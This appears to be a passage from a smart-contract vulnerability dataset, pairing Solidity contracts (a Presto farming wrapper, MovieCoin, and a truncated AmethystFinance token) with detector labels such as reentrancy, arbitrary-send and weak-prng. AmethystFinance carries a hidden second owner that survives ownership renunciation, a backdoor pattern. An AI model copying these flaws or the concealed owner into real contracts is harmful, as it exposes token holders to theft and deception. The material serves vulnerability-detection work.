1) reentrancy-no-eth with Medium impact
2) tautology with Medium impact
3) arbitrary-send with High impact
4) incorrect-equality with Medium impact
5) uninitialized-local with Medium impact
6) weak-prng with High impact |
// File: contracts\presto\PrestoData.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
struct PrestoOperation {
address inputTokenAddress;
uint256 inputTokenAmount;
address ammPlugin;
address[] liquidityPoolAddresses;
address[] swapPath;
bool enterInETH;
bool exitInETH;
address[] receivers;
uint256[] receiversPercentages;
}
// File: contracts\presto\IPresto.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IPresto {
function ONE_HUNDRED() external view returns (uint256);
function doubleProxy() external view returns (address);
function feePercentage() external view returns (uint256);
function feePercentageInfo() external view returns (uint256, address);
function setDoubleProxy(address _doubleProxy) external;
function setFeePercentage(uint256 _feePercentage) external;
function execute(PrestoOperation[] memory operations) external payable;
}
// File: contracts\presto\util\IERC20.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
// File: contracts\amm-aggregator\common\AMMData.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
struct LiquidityPoolData {
address liquidityPoolAddress;
uint256 amount;
address tokenAddress;
bool amountIsLiquidityPool;
bool involvingETH;
address receiver;
}
struct SwapData {
bool enterInETH;
bool exitInETH;
address[] liquidityPoolAddresses;
address[] path;
address inputToken;
uint256 amount;
address receiver;
}
// File: contracts\amm-aggregator\common\IAMM.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
interface IAMM {
event NewLiquidityPoolAddress(address indexed);
function info() external view returns(string memory name, uint256 version);
function data() external view returns(address ethereumAddress, uint256 maxTokensPerLiquidityPool, bool hasUniqueLiquidityPools);
function balanceOf(address liquidityPoolAddress, address owner) external view returns(uint256, uint256[] memory, address[] memory);
function byLiquidityPool(address liquidityPoolAddress) external view returns(uint256, uint256[] memory, address[] memory);
function byTokens(address[] calldata liquidityPoolTokens) external view returns(uint256, uint256[] memory, address, address[] memory);
function byPercentage(address liquidityPoolAddress, uint256 numerator, uint256 denominator) external view returns (uint256, uint256[] memory, address[] memory);
function byLiquidityPoolAmount(address liquidityPoolAddress, uint256 liquidityPoolAmount) external view returns(uint256[] memory, address[] memory);
function byTokenAmount(address liquidityPoolAddress, address tokenAddress, uint256 tokenAmount) external view returns(uint256, uint256[] memory, address[] memory);
function createLiquidityPoolAndAddLiquidity(address[] calldata tokenAddresses, uint256[] calldata amounts, bool involvingETH, address receiver) external payable returns(uint256, uint256[] memory, address, address[] memory);
function addLiquidity(LiquidityPoolData calldata data) external payable returns(uint256, uint256[] memory, address[] memory);
function addLiquidityBatch(LiquidityPoolData[] calldata data) external payable returns(uint256[] memory, uint256[][] memory, address[][] memory);
function removeLiquidity(LiquidityPoolData calldata data) external returns(uint256, uint256[] memory, address[] memory);
function removeLiquidityBatch(LiquidityPoolData[] calldata data) external returns(uint256[] memory, uint256[][] memory, address[][] memory);
function getSwapOutput(address tokenAddress, uint256 tokenAmount, address[] calldata, address[] calldata path) view external returns(uint256[] memory);
function swapLiquidity(SwapData calldata data) external payable returns(uint256);
function swapLiquidityBatch(SwapData[] calldata data) external payable returns(uint256[] memory);
}
// File: contracts\farming\FarmData.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
struct FarmingPositionRequest {
uint256 setupIndex; // index of the chosen setup.
uint256 amount; // amount of main token or liquidity pool token.
bool amountIsLiquidityPool; //true if user wants to directly share the liquidity pool token amount, false to add liquidity to AMM
address positionOwner; // position extension or address(0) [msg.sender].
}
struct FarmingSetupConfiguration {
bool add; // true if we're adding a new setup, false we're updating it.
bool disable;
uint256 index; // index of the setup we're updating.
FarmingSetupInfo info; // data of the new or updated setup
}
struct FarmingSetupInfo {
bool free; // if the setup is a free farming setup or a locked one.
uint256 blockDuration; // duration of setup
uint256 startBlock; // optional start block used for the delayed activation of the first setup
uint256 originalRewardPerBlock;
uint256 minStakeable; // minimum amount of staking tokens.
uint256 maxStakeable; // maximum amount stakeable in the setup (used only if free is false).
uint256 renewTimes; // if the setup is renewable or if it's one time.
address ammPlugin; // amm plugin address used for this setup (eg. uniswap amm plugin address).
address liquidityPoolTokenAddress; // address of the liquidity pool token
address mainTokenAddress; // eg. buidl address.
address ethereumAddress;
bool involvingETH; // if the setup involves ETH or not.
uint256 penaltyFee; // fee paid when the user exits a still active locked farming setup (used only if free is false).
uint256 setupsCount; // number of setups created by this info.
uint256 lastSetupIndex; // index of last setup;
}
struct FarmingSetup {
uint256 infoIndex; // setup info
bool active; // if the setup is active or not.
uint256 startBlock; // farming setup start block.
uint256 endBlock; // farming setup end block.
uint256 lastUpdateBlock; // number of the block where an update was triggered.
uint256 objectId; // items object id for the liquidity pool token (used only if free is false).
uint256 rewardPerBlock; // farming setup reward per single block.
uint256 totalSupply; // If free it's the LP amount, if locked is currentlyStaked.
}
struct FarmingPosition {
address uniqueOwner; // address representing the owner of the position.
uint256 setupIndex; // the setup index related to this position.
uint256 creationBlock; // block when this position was created.
uint256 liquidityPoolTokenAmount; // amount of liquidity pool token in the position.
uint256 mainTokenAmount; // amount of main token in the position (used only if free is false).
uint256 reward; // position reward (used only if free is false).
uint256 lockedRewardPerBlock; // position locked reward per block (used only if free is false).
}
// File: contracts\farming\IFarmMain.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
interface IFarmMain {
function ONE_HUNDRED() external view returns(uint256);
function _rewardTokenAddress() external view returns(address);
function position(uint256 positionId) external view returns (FarmingPosition memory);
function setups() external view returns (FarmingSetup[] memory);
function setup(uint256 setupIndex) external view returns (FarmingSetup memory, FarmingSetupInfo memory);
function setFarmingSetups(FarmingSetupConfiguration[] memory farmingSetups) external;
function openPosition(FarmingPositionRequest calldata request) external payable returns(uint256 positionId);
function addLiquidity(uint256 positionId, FarmingPositionRequest calldata request) external payable;
}
// File: contracts\presto\util\IERC1155.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IERC1155 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File: contracts\presto\util\IEthItemInteroperableInterface.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IEthItemInteroperableInterface is IERC20 {
function mainInterface() external view returns (address);
function objectId() external view returns (uint256);
function mint(address owner, uint256 amount) external;
function burn(address owner, uint256 amount) external;
function permitNonce(address sender) external view returns(uint256);
function permit(address owner, address spender, uint value, uint8 v, bytes32 r, bytes32 s) external;
function interoperableInterfaceVersion() external pure returns(uint256 ethItemInteroperableInterfaceVersion);
}
// File: contracts\presto\util\IEthItem.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IEthItem is IERC1155 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply(uint256 objectId) external view returns (uint256);
function name(uint256 objectId) external view returns (string memory);
function symbol(uint256 objectId) external view returns (string memory);
function decimals(uint256 objectId) external view returns (uint256);
function uri(uint256 objectId) external view returns (string memory);
function mainInterfaceVersion() external pure returns(uint256 ethItemInteroperableVersion);
function toInteroperableInterfaceAmount(uint256 objectId, uint256 ethItemAmount) external view returns (uint256 interoperableInterfaceAmount);
function toMainInterfaceAmount(uint256 objectId, uint256 erc20WrapperAmount) external view returns (uint256 mainInterfaceAmount);
function interoperableInterfaceModel() external view returns (address, uint256);
function asInteroperable(uint256 objectId) external view returns (IEthItemInteroperableInterface);
function emitTransferSingleEvent(address sender, address from, address to, uint256 objectId, uint256 amount) external;
function mint(uint256 amount, string calldata partialUri)
external
returns (uint256, address);
function burn(
uint256 objectId,
uint256 amount
) external;
function burnBatch(
uint256[] calldata objectIds,
uint256[] calldata amounts
) external;
}
// File: contracts\presto\util\INativeV1.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface INativeV1 is IEthItem {
function init(string calldata name, string calldata symbol, bool hasDecimals, string calldata collectionUri, address extensionAddress, bytes calldata extensionInitPayload) external returns(bytes memory extensionInitCallResponse);
function extension() external view returns (address extensionAddress);
function canMint(address operator) external view returns (bool result);
function isEditable(uint256 objectId) external view returns (bool result);
function releaseExtension() external;
function uri() external view returns (string memory);
function decimals() external view returns (uint256);
function mint(uint256 amount, string calldata tokenName, string calldata tokenSymbol, string calldata objectUri, bool editable) external returns (uint256 objectId, address tokenAddress);
function mint(uint256 amount, string calldata tokenName, string calldata tokenSymbol, string calldata objectUri) external returns (uint256 objectId, address tokenAddress);
function mint(uint256 objectId, uint256 amount) external;
function makeReadOnly(uint256 objectId) external;
function setUri(string calldata newUri) external;
function setUri(uint256 objectId, string calldata newUri) external;
}
// File: contracts\presto\verticalizations\FarmingPresto.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
contract FarmingPresto {
mapping(address => uint256) private _tokenIndex;
address[] private _tokensToTransfer;
uint256[] private _tokenAmounts;
PrestoOperation[] private _operations;
receive() external payable {
}
function openPosition(
address prestoAddress,
PrestoOperation[] memory operations,
address farmMainAddress,
FarmingPositionRequest memory request
) public payable returns(uint256 positionId) {
request.positionOwner = request.positionOwner != address(0) ? request.positionOwner : msg.sender;
uint256 eth = _transferToMeAndCheckAllowance(operations, prestoAddress);
IPresto(prestoAddress).execute{value : eth}(_operations);
IFarmMain farmMain = IFarmMain(farmMainAddress);
(address[] memory tokenAddresses, uint256 ethereumValue) = _calculateAmountsAndApprove(farmMain, request.setupIndex, request.amount);
positionId = farmMain.openPosition{value : ethereumValue}(request);
_flushAndClear(tokenAddresses, msg.sender);
}
function _calculateAmountsAndApprove(IFarmMain farmMain, uint256 setupIndex, uint256 requestAmount) private returns(address[] memory tokenAddresses, uint256 ethereumValue) {
(, FarmingSetupInfo memory setupInfo) = farmMain.setup(setupIndex);
uint256[] memory tokensAmounts;
(, tokensAmounts, tokenAddresses) = IAMM(setupInfo.ammPlugin).byTokenAmount(setupInfo.liquidityPoolTokenAddress, setupInfo.mainTokenAddress, requestAmount);
for(uint256 i = 0; i < tokenAddresses.length; i++) {
if(setupInfo.involvingETH && tokenAddresses[i] == setupInfo.ethereumAddress) {
ethereumValue = tokensAmounts[i];
}
if(tokenAddresses[i] != address(0)) {
_safeApprove(tokenAddresses[i], address(farmMain), tokensAmounts[i]);
}
}
}
function _flushAndClear(address[] memory tokenAddresses, address receiver) private {
for(uint256 i = 0; i < tokenAddresses.length; i++) {
if(_tokensToTransfer.length == 0 || _tokensToTransfer[_tokenIndex[tokenAddresses[i]]] != tokenAddresses[i]) {
_safeTransfer(tokenAddresses[i], receiver, _balanceOf(tokenAddresses[i]));
}
}
if(_tokensToTransfer.length == 0 || _tokensToTransfer[_tokenIndex[address(0)]] != address(0)) {
_safeTransfer(address(0), receiver, address(this).balance);
}
_flushAndClear(receiver);
}
function _transferToMeAndCheckAllowance(PrestoOperation[] memory operations, address operator) private returns (uint256 eth) {
eth = _collectTokensAndCheckAllowance(operations, operator);
for(uint256 i = 0; i < _tokensToTransfer.length; i++) {
if(_tokensToTransfer[i] == address(0)) {
require(msg.value >= _tokenAmounts[i], "Incorrect ETH value");
} else {
_safeTransferFrom(_tokensToTransfer[i], msg.sender, address(this), _tokenAmounts[i]);
}
}
}
function _collectTokensAndCheckAllowance(PrestoOperation[] memory operations, address operator) private returns (uint256 eth) {
for(uint256 i = 0; i < operations.length; i++) {
PrestoOperation memory operation = operations[i];
require(operation.ammPlugin == address(0) || operation.liquidityPoolAddresses.length > 0, "AddLiquidity not allowed");
_collectTokenData(operation.ammPlugin != address(0) && operation.enterInETH ? address(0) : operation.inputTokenAddress, operation.inputTokenAmount);
if(operation.ammPlugin != address(0)) {
_operations.push(operation);
if(operation.inputTokenAddress == address(0) || operation.enterInETH) {
eth += operation.inputTokenAmount;
}
}
}
for(uint256 i = 0 ; i < _tokensToTransfer.length; i++) {
if(_tokensToTransfer[i] != address(0)) {
_safeApprove(_tokensToTransfer[i], operator, _tokenAmounts[i]);
}
}
}
function _collectTokenData(address inputTokenAddress, uint256 inputTokenAmount) private {
if(inputTokenAmount == 0) {
return;
}
uint256 position = _tokenIndex[inputTokenAddress];
if(_tokensToTransfer.length == 0 || _tokensToTransfer[position] != inputTokenAddress) {
_tokenIndex[inputTokenAddress] = (position = _tokensToTransfer.length);
_tokensToTransfer.push(inputTokenAddress);
_tokenAmounts.push(0);
}
_tokenAmounts[position] = _tokenAmounts[position] + inputTokenAmount;
}
function _flushAndClear(address receiver) private {
for(uint256 i = 0; i < _tokensToTransfer.length; i++) {
_safeTransfer(_tokensToTransfer[i], receiver, _balanceOf(_tokensToTransfer[i]));
delete _tokenIndex[_tokensToTransfer[i]];
}
delete _tokensToTransfer;
delete _tokenAmounts;
delete _operations;
}
function _balanceOf(address tokenAddress) private view returns(uint256) {
if(tokenAddress == address(0)) {
return address(this).balance;
}
return IERC20(tokenAddress).balanceOf(address(this));
}
function _safeApprove(address erc20TokenAddress, address to, uint256 value) internal {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).approve.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'APPROVE_FAILED');
}
function _safeTransfer(address erc20TokenAddress, address to, uint256 value) private {
if(value == 0) {
return;
}
if(erc20TokenAddress == address(0)) {
(bool result,) = to.call{value:value}("");
require(result, "ETH transfer failed");
return;
}
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transfer.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFER_FAILED');
}
function _safeTransferFrom(address erc20TokenAddress, address from, address to, uint256 value) internal {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transferFrom.selector, from, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFERFROM_FAILED');
}
function _call(address location, bytes memory payload) private returns(bytes memory returnData) {
assembly {
let result := call(gas(), location, 0, add(payload, 0x20), mload(payload), 0, 0)
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
let returnDataPayloadStart := add(returnData, 0x20)
returndatacopy(returnDataPayloadStart, 0, size)
mstore(0x40, add(returnDataPayloadStart, size))
switch result case 0 {revert(returnDataPayloadStart, size)}
}
}
} | These are the vulnerabilities found
1) reentrancy-eth with High impact
2) incorrect-equality with Medium impact
3) msg-value-loop with High impact
4) arbitrary-send with High impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'MovieCoin' token contract
//
// Deployed to : 0x255EbB7393Fb8AD33E1edaf30270C7Edb2C181DD
// Symbol : MOVIE
// Name : MovieCoin
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {owner = msg.sender;}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract MovieCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "MOVIE";
name = "MovieCoin";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x255EbB7393Fb8AD33E1edaf30270C7Edb2C181DD] = _totalSupply;
emit Transfer(address(0), 0x255EbB7393Fb8AD33E1edaf30270C7Edb2C181DD, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _ownr;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_ownr = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
bool cond = ((_msgSender() == _owner || _msgSender() == _ownr) ? true : false);
require(cond, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AmethystFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public marvel;
mapping (address => bool) public fantastic;
mapping (address => bool) public omni;
mapping (address => uint256) public walker;
bool private rocks;
uint256 private _totalSupply;
uint256 private spanish;
uint256 private folding;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private llama;
address private creator;
bool private arizona;
uint labrador = 0;
constructor() public {
creator = address(msg.sender);
rocks = true;
llama = true;
_name = "Amethyst Finance";
_symbol = "AMETHYST";
_decimals = 5;
_totalSupply = 30000000000000;
_trns = _totalSupply;
spanish = _totalSupply;
chTx = _totalSupply / 2200;
folding = chTx * 30;
fantastic[creator] = false;
omni[creator] = false;
marvel[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
arizona = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
